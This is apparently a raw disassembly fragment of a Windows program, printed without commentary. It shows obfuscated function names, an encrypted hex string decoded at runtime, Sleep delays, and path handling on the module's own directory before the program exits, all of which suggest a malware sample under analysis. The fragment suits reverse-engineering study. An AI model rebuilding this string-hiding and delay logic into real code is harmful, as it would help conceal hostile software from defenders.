rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x1925]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
mov eax, dword [ebp - 0xb8]
mov dword [esp + 4], eax
mov dword [esp], 0x41f
call sym._y2Ob5
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0xc0], str.d4448d6f4ccdd592a09e8ab366820627fd4a1d41d7db21e3ea3ed02b8f6f4f3a50f3bcc22f577282f28eeaadbc72aef04f22ab80745fe68fab917b4a8501d23f2ac2609991afeb5fb358098c26110130
lea eax, [ebp - 0x1cd0]
mov edx, 0x696564a0
mov ecx, 0xea
mov edi, eax
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov edx, esi
mov eax, edi
movzx ecx, word [edx]
mov word [eax], cx
lea eax, [eax + 2]
lea edx, [edx + 2]
movzx ecx, byte [edx]
mov byte [eax], cl
lea eax, [eax + 1]
lea edx, [edx + 1]
lea eax, [ebp - 0x1cd0]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
mov eax, dword [ebp - 0xc0]
mov dword [esp + 4], eax
mov dword [esp], 0x3ab
call sym._y2Ob5
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x8c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0xc4]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xbc]
mov dword [esp], eax
call sym._LwEqX
mov dword [ebp - 0xc8], eax
jmp 0x6964686f
cmp dword [ebp - 0xc8], 0
je 0x69646884
mov eax, dword [ebp - 0xc8]
mov dword [esp], eax
call sym._bmYMMYgh9ehhU37lu7oHdwriVUQ
mov dword [esp], 0x2738
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp], 0x6b30
call sym._XzFvvTKARrvhRA2HdN6gz19rc7pb
xor eax, 1
test al, al
jne 0x69646847
jmp 0x69646885
nop
mov eax, dword [ebp - 0xbc]
mov dword [esp], eax
call sym._free
mov dword [esp], 0x2497
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov eax, dword [ebp - 0x8c]
mov dword [esp], eax
mov eax, dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
call eax
sub esp, 4
mov eax, dword [ebp - 0x8c]
mov dword [esp], eax
call sym._sgk4njGBbtPefjqY4fKbImdzY0p3PY
mov eax, dword [ebp - 0x8c]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0xc8]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0xc4]
mov dword [esp], eax
call sym._free
mov dword [esp], 0
call sym._exit
nop
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret